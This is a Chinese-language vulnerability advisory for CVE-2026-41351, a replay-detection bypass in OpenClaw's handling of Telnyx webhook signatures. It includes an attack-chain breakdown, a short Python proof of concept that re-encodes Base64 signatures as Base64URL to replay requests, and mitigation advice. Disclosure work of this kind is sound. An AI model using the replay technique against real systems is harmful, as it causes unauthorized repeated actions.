IPBUF安全漏洞报告
English
CVE-2026-41351 CVSS 5.3 中危

CVE-2026-41351 OpenClaw重放检测绕过漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41351
漏洞类型
重放检测绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

重放攻击WebhookOpenClaw逻辑漏洞CVE-2026-41351

漏洞概述

OpenClaw 2026.3.31之前的版本在处理webhook签名时存在重放检测绕过漏洞。由于系统错误地将Base64和Base64URL编码的签名视为完全不同的请求,攻击者可以通过重新编码Telnyx webhook签名来绕过重放检测机制。尽管签名验证本身依然有效,但攻击者可以利用此漏洞多次重放同一个有效的webhook载荷,从而可能导致未授权的操作或信息泄露。

技术细节

该漏洞的核心在于OpenClaw对Telnyx webhook签名的处理逻辑存在缺陷。Webhook签名通常用于验证请求来源的真实性,而重放检测机制则防止同一请求被多次处理。OpenClaw在实现时,可能同时接受Base64和Base64URL两种编码方式的签名进行验证。然而,其重放检测机制(通常依赖缓存已处理的签名字符串)并未对这两种编码方式进行归一化处理。Base64和Base64URL在二进制层面上是等价的,区别仅在于将`+`和`/`替换为`-`和`_`,以及移除填充符`=`。攻击者可以利用这一特性,将一个已发送的合法请求的签名从Base64转换为Base64URL。由于字符串内容发生变化,OpenClaw的重放检测缓存无法匹配到该记录,误判为新请求。同时,签名验证模块可能能够正确解码Base64URL,导致验证通过。这最终使得攻击者能够绕过防护,成功实施重放攻击。

攻击链分析

STEP 1
步骤1
攻击者拦截或获取一个有效的Telnyx Webhook请求及其Base64编码的签名。
STEP 2
步骤2
攻击者将签名从Base64格式转换为Base64URL格式(替换+为-,/为_,去除等号)。
STEP 3
步骤3
攻击者使用修改后的Base64URL签名重新发送Webhook请求。
STEP 4
步骤4
OpenClaw验证签名(通过,因为解码后二进制数据一致)并检查重放(未检测到,因为字符串不同)。
STEP 5
步骤5
系统再次处理该请求,导致业务逻辑被重复执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import base64 import requests def base64_to_base64url(b64_str): # Replace '+' with '-', '/' with '_', and remove trailing '=' b64url_str = b64_str.replace('+', '-').replace('/', '_').rstrip('=') return b64url_str # Example: Intercepted valid webhook payload and signature # Assuming the signature is Base64 encoded in the header 'Telnyx-Signature-Ed25519' target_url = "http://target-openclaw-instance/webhook endpoint" original_signature = "dGVzdHNpZ25hdHVyZWRhdGE=" headers = { "Content-Type": "application/json", "Telnyx-Signature-Ed25519": original_signature } payload = "{\"data\": \"example\"}" print(f"[+] Sending original request with signature: {original_signature}") # requests.post(target_url, json=payload, headers=headers) # Exploit: Convert Base64 to Base64URL to bypass replay detection modified_signature = base64_to_base64url(original_signature) headers["Telnyx-Signature-Ed25519"] = modified_signature print(f"[+] Sending replayed request with modified signature: {modified_signature}") # requests.post(target_url, json=payload, headers=headers) # The server treats the modified signature as a new request due to string mismatch, # but verifies it successfully because it decodes to the same bytes.

影响范围

OpenClaw < 2026.3.31

防御指南

临时缓解措施
在未升级版本前,建议在Web网关层实施流量过滤,检测短时间内相同载荷但签名编码不同的请求。或者修改代码逻辑,确保在进行重放检测之前,先将接收到的签名统一解码为二进制数据或统一的字符串格式进行比较。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表